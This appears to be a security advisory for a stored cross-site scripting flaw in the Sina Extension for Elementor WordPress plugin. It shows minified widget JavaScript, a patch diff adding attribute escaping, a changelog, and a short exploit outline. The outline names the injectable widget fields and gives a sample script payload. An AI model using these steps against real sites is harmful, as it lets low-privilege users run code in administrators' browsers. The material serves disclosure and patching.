n=e(this),t=n.children(".sina-feed-grid");n.imagesLoaded((function(){t.isotope({itemSelector:".sina-feed-col",percentPosition:!0,masonry:{columnWidth:".sina-fb-feed-grid-sizer"}})}))}))}function p(n,e){n.find(".sina-twitter-feed").each((function(){var n=e(this),t=n.children(".sina-feed-grid");n.imagesLoaded((function(){t.isotope({itemSelector:".sina-feed-col",percentPosition:!0,masonry:{columnWidth:".sina-twitter-feed-grid-sizer"}})}))}))}function _(n,e){n.find(".sina-contact-form").each((function(){var n,t=e(this),a=t.data("uid"),o=t.data("from"),i=t.data("inbox"),d=t.children("#sina_contact_nonce"+a),s=t.children(".sina-success-text"),r=t.children(".sina-error-text"),l=t.children(".sina-process-text"),c=t.find(".sina-input-name"),f=t.find(".sina-input-email"),u=t.find(".sina-input-subject"),m=t.find(".sina-input-message"),h=!!t.data("captcha");t.on("submit",(function(t){t.preventDefault(),clearTimeout(n),r.fadeOut(0),s.fadeOut(0),l.fadeIn(200);var a="";h&&(a=grecaptcha.getResponse()),e.post(sinaAjax.ajaxURL,{action:"sina_contact",inbox:i,from_text:o,name:c.val(),email:f.val(),subject:u.val(),message:m.val(),is_captcha:h,captcha:a,nonce:d.val()},(function(e,t,a){"success"==t&&(e?(l.fadeOut(0),r.html(e).fadeIn(200),n=setTimeout((function(){r.fadeOut(200)}),1e4)):(l.fadeOut(0),s.fadeIn(200),n=setTimeout((function(){s.fadeOut(200)}),1e4)))}))}))}))}function g(n,e){n.find(".sina-table").each((function(){var n=e(this),t=n.children("table"),a=n.find(".sina-data-table"),o=n.data("table-info"),i=o.head?o.head:[],d=o.external_source?o.external_source:"",s=o.export?"Blftrip":"lftrip",r=!!o.ordering,l=o.sort_col?o.sort_col:2,c=o.sort_type?o.sort_type:"desc",f=!!o.searching,u=!!o.info,m=!!o.paging,h=o.pagingType?o.pagingType:"simple_numbers";a.DataTable({ajax:d,columns:i,ordering:r,order:[[l-1,c]],searching:f,info:u,paging:m,pagingType:h,dom:s,lengthMenu:[10,25,50,100,200,500]}),t.on("click","tr",(function(n){n.preventDefault(),"yes"!=o.keep_focus&&e(this).siblings("tr").removeClass("focus"),e(this).toggleClass("focus")}))}))}function v(n,e){n.find(".sina-login-form").each((function(){var n,t=e(this),a=t.data("uid"),o=t.data("state"),i=t.data("url"),d=t.data("rem-login"),s=t.children("#sina_login_nonce"+a),r=t.children(".sina-error-text"),l=t.children(".sina-input-password"),c=t.children(".sina-input-email"),f=t.find(".sina-login-remember"),u=t.find(".sina-login-btn"),m=u.html(),h=!1;"yes"==d&&(h=f.prop("checked")),t.on("submit",(function(t){t.preventDefault(),clearTimeout(n),u.html(o),r.fadeOut(0),e.post(sinaAjax.ajaxURL,{action:"sina_login",password:l.val(),email:c.val(),remember:h,nonce:s.val()},(function(e,t,a){"success"==t&&("logged in"==e?location.href=i:e&&(r.html(e).fadeIn(200),n=setTimeout((function(){r.fadeOut(200)}),1e4)),u.html(m))}))}))}))}function y(n,e){n.find(".sina-subs-form").each((function(){var n,t=e(this),a=t.data("uid"),o=t.find("#sina_mc_subscribe_nonce"+a),i=t.find(".sina-input-fname"),d=t.find(".sina-input-lname"),s=t.find(".sina-input-email"),r=t.find(".sina-input-phone"),l=t.children(".sina-success-text"),c=t.children(".sina-error-text"),f=t.children(".sina-process-text");t.on("submit",(function(t){t.preventDefault(),clearTimeout(n),c.fadeOut(0),l.fadeOut(0),f.fadeIn(200),e.post(sinaAjax.ajaxURL,{action:"sina_mc_subscribe",fname:i.val()||" ",lname:d.val()||" ",phone:r.val()||" ",email:s.val(),nonce:o.val()},(function(e,t,a){"success"==t&&("success"==e?(f.fadeOut(0),l.fadeIn(200),n=setTimeout((function(){l.fadeOut(200)}),1e4)):(f.fadeOut(0),c.html(e).fadeIn(200),n=setTimeout((function(){c.fadeOut(200)}),1e4)))}))}))}))}function b(n,e){n.find(".sina-countdown").each((function(n,t){var o=e(this),i=o.find(".sina-cd-year"),d=o.find(".sina-cd-month"),s=o.find(".sina-cd-week"),r=o.find(".sina-cd-day"),l=o.find(".sina-cd-hour"),c=o.find(".sina-cd-minute"),f=o.find(".sina-cd-second"),u=o.data("text"),m=(m=o.data("message")).replace(/[^A-z0-9 @!.]/g,""),h=o.data("link"),p=o.data("time");o.countdown(p).on("update.countdown",(function(n){var e=n.strftime("%m"),t=n.strftime("%w"),o=Math.floor(e/12);e%=12,t%=4;i.html(a(o)),d.html(a(e)),s.html("0"+t),r.html(n.strftime("%n")),l.html(n.strftime("%H")),c.html(n.strftime("%M")),f.html(n.strftime("%S")),"yes"==u&&(i.next().html(o<2?"Year":"Years"),d.next().html(e<2?"Month":"Months"),s.next().html(t<2?"Week":"Weeks"),r.next().html(n.strftime("%n")<2?"Day":"Days"),l.next().html(n.strftime("%H")<2?"Hour":"Hours"),c.next().html(n.strftime("%M")<2?"Minute":"Minutes"),f.next().html(n.strftime("%S")<2?"Second":"Seconds"))})).on("finish.countdown",(function(n){o.children().remove(),m?o.append('<div class="sina-cd-message">'+m+"</div>"):h&&elementorFrontend.isEditMode()?o.append("<h2>You can't redirect url from elementor edit mode!!</h2>"):h?window.location.href=h:o.append("<h2>May be you don't enter a valid redirect url</h2>")}))}))}function k(n,t){e(n[0],(function(){var e=n.find(".sina-counter-number"),t=e.data(),a=t.toValue.toString().match(/\.(.*)/);a&&(t.rounding=a[1].length),e.numerator(t)}))}function w(n,e){n.find(".sina-fancytext").each((function(){var n=e(this),t=n.find(".sina-fancytext-strings"),a=n.data("anim"),o=n.data("speed"),i=n.data("delay"),d=!!n.data("cursor"),s=!!n.data("loop"),r=(r=(r=n.data("fancy-text")).replace(/[^A-z0-9 @!.]/g,"")).split("@@");"typing"==a?t.typed({strings:r,typeSpeed:o,startDelay:i,showCursor:d,loop:s}):t.Morphext({animation:a,separator:"@@",speed:i})}))}function x(n,e){n.find(".sina-google-map").each((function(){var n=e(this),t=n.data("id"),a=n.data("anim"),o=n.data("zoom"),i=n.data("lat"),d=n.data("long"),s=!n.data("defaultui"),r=!!n.data("zoom-control"),l=!!n.data("street-control"),c=!!n.data("fullscreen-control"),f=n.data("zoom-position"),u=n.data("street-position"),m=n.data("fullscreen-position"),h=n.data("map-style"),p=n.data("marker"),_=n.data("marker-link"),g=new google.maps.Map(document.getElementById(t),{center:{lat:i,lng:d},zoom:o,disableDefaultUI:s,zoomControl:r,zoomControlOptions:{position:google.maps.ControlPosition[f]},streetViewControl:l,streetViewControlOptions:{position:google.maps.ControlPosition[u]},fullscreenControl:c,fullscreenControlOptions:{position:google.maps.ControlPosition[m]},styles:sinaMapStyles[h]});if(p&&_)new google.maps.Marker({position:new google.maps.LatLng(i,d),map:g,icon:{url:_},animation:google.maps.Animation[a]})}))}function C(n,e){n.find(".sina-image-differ").each((function(){var n=e(this),t=n.data("orientation"),a=n.data("before"),o=n.data("after"),i=n.data("offset"),d=!!n.data("overlay"),s=!!n.data("click"),r=!!n.data("hover");n.children(".twentytwenty-container").twentytwenty({default_offset_pct:i,orientation:t,before_label:a,after_label:o,no_overlay:d,move_slider_on_hover:r,click_to_move:s})}))}function A(n,e){n.find(".sina-news-ticker").each((function(){var n=e(this),t=n.data("speed"),a="yes"==n.data("pause"),o=n.children(".sina-news-wrapper"),i=o.children(".sina-news-container"),d=i.children(".sina-news-content"),s=d.children(".sina-news"),r=o.outerWidth(),l=0;function c(n,e){var t=l*n;i.css({width:2*l+"px",marginLeft:0}),i.animate({marginLeft:"-="+l+"px"},t,"linear",(function(){c(n,e)}))}s.each((function(n,t){l+=e(this).outerWidth()})),l+=.5*r,d.css("width",l+"px"),d.clone().appendTo(i),a&&(i.on("mouseenter",(function(n){i.stop()})),i.on("mouseleave",(function(n){var e=i.css("marginLeft");e=e.replace(/px/i,"");var o=parseInt(e)+l;i.animate({marginLeft:"-="+o+"px"},o*t,"linear",(function(){c(t,a)}))}))),c(t,a)}))}function F(n,e){n.find(".sina-product-zoomer").each((function(){var n=e(this),t=n.data("position"),a=n.data("shape");n.find(".xzoom, .xzoom-gallery").xzoom({position:t,lensShape:a})}))}function O(n,e){n.find(".sina-particle").each((function(){var n=e(this),t=n.data("link-color"),a=n.data("ball-color"),o=n.data("number"),i=n.data("link"),d=n.data("clink"),s=n.data("linkw"),r=n.data("size"),l=n.data("speed"),c=!!n.data("dlink"),f=!!n.data("dmouse");n.sinaParticles({lineColor:t,fillColor:a,particlesNumber:o,linkDist:i,createLinkDist:d,linksWidth:s,maxSize:r,speed:l,disableLinks:c,disableMouse:f})})),e(".sina-particle-layer .sina-tooltip").tooltip()}function z(n,t){e(n[0],(function(){var e=n.find(".sina-piechart-wrap"),t=e.data("track"),a=(e.data("track-width"),e.data("bar")),o=e.data("line"),i=e.data("cap"),d=e.data("speed"),s=e.data("scale"),r=e.data("size");e.easyPieChart({trackColor:t,barColor:a,lineWidth:o,lineCap:i,animate:d,scaleColor:s,size:r})}))}function I(n,e){n.find(".sina-portfolio").each((function(){var n=e(this),t=n.children(".sina-portfolio-grid"),a=n.children(".sina-portfolio-btns"),o=n.data("layout");n.imagesLoaded((function(){if("masonry"==o)var n=t.isotope({itemSelector:".sina-portfolio-item",percentPosition:!0,masonry:{columnWidth:".sina-portfolio-item"}});else n=t.isotope({itemSelector:".sina-portfolio-item",layoutMode:"fitRows"});a.on("click","button",(function(){var t=e(this).attr("data-filter");n.isotope({filter:t})}))})),n.find(".sina-portfolio-zoom").venobox({titlePosition:"bottom",bgcolor:"#000000"})}))}function L(n,e){n.find(".sina-posts-tab").each((function(){e("[data-sina-pt]").on("click",(function(n){e(e(this).data("sina-pt")).siblings(".sina-pt-item").removeClass("active"),e(e(this).data("sina-pt")).addClass("active")}))}))}function S(n,t){e(n[0],(function(){var e=n.find(".sina-bar-content"),t=e.data("percentage");e.animate({width:t+"%"},20*t)}))}function T(n,e){n.find(".sina-modal-box").each((function(){var n=e(this),t=!!n.data("click"),a=!!n.data("esc"),o=!!n.data("auto-show"),i=n.data("delay-show")?n.data("delay-show"):4e3,d=n.data("modal-id"),s=e("."+d),r=n.find(".close-"+d),l=e(".sina-modal-"+d);s.click((function(n){n.preventDefault(),l.fadeIn(400)})),r.click((function(){l.fadeOut(400)})),o&&setTimeout((function(){l.fadeIn(400)}),i),t&&e(document).on("click",(function(n){e(n.target).is(".sina-modal-area")&&l.fadeOut(400)})),a&&e(window).on("keydown",(function(n){192==(n.which||n.keyCode)&&l.fadeOut(400)}))}))}function D(n,e){n.find(".sina-user-counter").each((function(){var n=e(this),t=n.children(".sina-uc-number"),a=n.data("roles"),o=n.find("#sina_user_counter_nonce");setInterval((function(){e.post(sinaAjax.ajaxURL,{action:"sina_user_counter",roles:a,nonce:o.val()},(function(n,e,a){"success"==e&&t.html(n)}))}),5e3)}))}function M(n,e){n.find(".sina-video").each((function(){e(this).children(".sina-video-play").venobox({titlePosition:"bottom",bgcolor:"#000000"})}))}function j(n,e){n.find(".sina-visit-counter").each((function(){var n=e(this),t=n.data("page"),a=n.find(".sina-visit-today"),o=n.find(".sina-visit-yesterday"),i=n.find("#sina_visit_counter_nonce");setInterval((function(){e.post(sinaAjax.ajaxURL,{action:"sina_visit_counter",page:t,nonce:i.val()},(function(n,e,t){"success"==e&&(n=n.split("|"),a.html(n[0]),o.html(n[1]))}))}),5e3)}))}jQuery(window).on("elementor/frontend/init",(function(){elementorFrontend.hooks.addAction("frontend/element_ready/sina_search.default",i),elementorFrontend.hooks.addAction("frontend/element_ready/sina_scroll_to_top.default",d),elementorFrontend.hooks.addAction("frontend/element_ready/sina_nav_menu.default",o),elementorFrontend.hooks.addAction("frontend/element_ready/sina_accordion.default",f),elementorFrontend.hooks.addAction("frontend/element_ready/sina_banner_slider.default",u),elementorFrontend.hooks.addAction("frontend/element_ready/sina_blogpost.default",m),elementorFrontend.hooks.addAction("frontend/element_ready/sina_posts.default",m),elementorFrontend.hooks.addAction("frontend/element_ready/sina_facebook_feed.default",h),elementorFrontend.hooks.addAction("frontend/element_ready/sina_twitter_feed.default",p),elementorFrontend.hooks.addAction("frontend/element_ready/sina_brand_carousel.default",s),elementorFrontend.hooks.addAction("frontend/element_ready/sina_contact_form.default",_),elementorFrontend.hooks.addAction("frontend/element_ready/sina_table.default",g),elementorFrontend.hooks.addAction("frontend/element_ready/sina_login_form.default",v),elementorFrontend.hooks.addAction("frontend/element_ready/sina_mc_subscribe.default",y),elementorFrontend.hooks.addAction("frontend/element_ready/sina_content_slider.default",r),elementorFrontend.hooks.addAction("frontend/element_ready/sina_posts_carousel.default",l),elementorFrontend.hooks.addAction("frontend/element_ready/sina_countdown.default",b),elementorFrontend.hooks.addAction("frontend/element_ready/sina_counter.default",k),elementorFrontend.hooks.addAction("frontend/element_ready/sina_fancytext.default",w),elementorFrontend.hooks.addAction("frontend/element_ready/sina_image_differ.default",C),elementorFrontend.hooks.addAction("frontend/element_ready/sina_google_map.default",x),elementorFrontend.hooks.addAction("frontend/element_ready/sina_news_ticker.default",A),elementorFrontend.hooks.addAction("frontend/element_ready/sina_product_zoomer.default",F),elementorFrontend.hooks.addAction("frontend/element_ready/sina_particle_layer.default",O),elementorFrontend.hooks.addAction("frontend/element_ready/sina_piechart.default",z),elementorFrontend.hooks.addAction("frontend/element_ready/sina_portfolio.default",I),elementorFrontend.hooks.addAction("frontend/element_ready/sina_posts_tab.default",L),elementorFrontend.hooks.addAction("frontend/element_ready/sina_progressbar.default",S),elementorFrontend.hooks.addAction("frontend/element_ready/sina_review_carousel.default",c),elementorFrontend.hooks.addAction("frontend/element_ready/sina_modal_box.default",T),elementorFrontend.hooks.addAction("frontend/element_ready/sina_user_counter.default",D),elementorFrontend.hooks.addAction("frontend/element_ready/sina_video.default",M),elementorFrontend.hooks.addAction("frontend/element_ready/sina_visit_counter.default",j)}))}(); \ No newline at end of file @@ -211,7 +211,15 @@ require_once( SINA_EXT_INC .'sina-ext-helpers.php' ); require_once( SINA_EXT_INC .'sina-ext-controls.php' ); require_once( SINA_EXT_INC .'sina-ext-controls-extend.php' ); - require_once( SINA_EXT_ADMIN .'sina-ext-theme-builder.php' ); + } + + /** + * Include Modules files + * + * @since 3.7.1 + */ + public static function modules() { require_once( SINA_EXT_ADMIN .'sina-ext-templates.php' ); + require_once( SINA_EXT_ADMIN .'sina-ext-theme-builder.php' ); } } \ No newline at end of file @@ -5,7 +5,7 @@ Requires at least: 4.8 Tested up to: 6.8 Requires PHP: 7.0 -Stable tag: 3.7.0 +Stable tag: 3.7.1 License: GPL v3 License URI: https://opensource.org/licenses/GPL-3.0 @@ -298,6 +298,15 @@ == Changelog == += 3.7.1 - 10-07-2025 = +- Fixed: Blogpost escaping issue +- Fixed: Countdown escaping issue +- Fixed: Fancytext escaping issue +- Fixed: Posts escaping issue +- Fixed: Table escaping issue +- Fixed: Templates Library issue +- Fixed: Theme Builder post type issue + = 3.7.0 - 17-05-2025 = - New: Header Builder Feature - New: Footer Builder Feature @@ -3,7 +3,7 @@ * Plugin Name: Sina Extension for Elementor * Plugin URI: https://sina-extension.sinaextra.com/ * Description: A collection of high-quality widgets for Elementor page builder. - * Version: 3.7.0 + * Version: 3.7.1 * Author: SinaExtra * Author URI: https://sinaextra.com/ * Requires Plugins: elementor @@ -18,8 +18,8 @@ exit; } -define('SINA_EXT_VERSION', '3.7.0'); -define('SINA_EXT_PREVIOUS_VERSION', '3.6.1' ); +define('SINA_EXT_VERSION', '3.7.1'); +define('SINA_EXT_PREVIOUS_VERSION', '3.7.0' ); define('SINA_EXT_FILE', __FILE__ ); define('SINA_EXT_SLUG', basename( SINA_EXT_FILE, '.php' )); define('SINA_EXT_DIR', __DIR__); @@ -164,12 +164,15 @@ ], ]); -add_action('init', function () { - load_plugin_textdomain( 'sina-ext', false, SINA_EXT_DIRNAME.'/languages' ); - +add_action('plugins_loaded', function () { require SINA_EXT_INC . 'sina-ext-base.php'; require SINA_EXT_INC . 'sina-ext-func.php'; require SINA_EXT_INC . 'sina-ext.php'; + Sina_Extension::modules(); +}); + +add_action('init', function () { + load_plugin_textdomain( 'sina-ext', false, SINA_EXT_DIRNAME.'/languages' ); Sina_Extension::instance(); }); @@ -2049,7 +2049,7 @@ 'is_thumb'=> $data['is_thumb'], 'read_more_effect'=> $data['read_more_effect'], 'read_more_text'=> esc_attr( $data['read_more_text'] ), - 'read_more_icon'=> $data['read_more_icon'], + 'read_more_icon'=> esc_attr($data['read_more_icon']), 'read_more_icon_align'=> $data['read_more_icon_align'], 'effects' => $data['effects'], 'cats_position' => $data['cats_position'], @@ -1612,7 +1612,7 @@ $table_info = [ 'head' => $table_head, - 'export' => $data['data_export'], + 'export' => esc_attr($data['data_export']), 'ordering' => $data['data_sorting'], 'sort_col' => $data['data_sorting_column'], 'sort_type' => $data['data_sorting_type'], @@ -1858,7 +1858,7 @@ 'is_thumb' => $data['is_thumb'], 'read_more_effect' => $data['read_more_effect'], 'read_more_text' => esc_attr( $data['read_more_text'] ), - 'read_more_icon' => $data['read_more_icon'], + 'read_more_icon' => esc_attr($data['read_more_icon']), 'read_more_icon_align' => $data['read_more_icon_align'], 'effects' => $data['effects'], 'cats_position' => $data['cats_position'],
Exploit Outline
To exploit this vulnerability, an attacker requires Contributor-level permissions to access the Elementor editor. 1. The attacker creates or edits a page and adds a 'Fancy Text' or 'Countdown' widget. 2. In the widget configuration, the attacker injects a malicious XSS payload (e.g., "><script>alert(1)</script>) into input fields that are rendered as DOM attributes, such as the 'Suffix' field in the Fancy Text widget or label fields in the Countdown widget. 3. The attacker saves the page, which triggers a request to 'admin-ajax.php' with the 'elementor_ajax' action, storing the payload in the post's '_elementor_data' meta field. 4. When any user (including administrators) views the published page, the unescaped payload executes in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.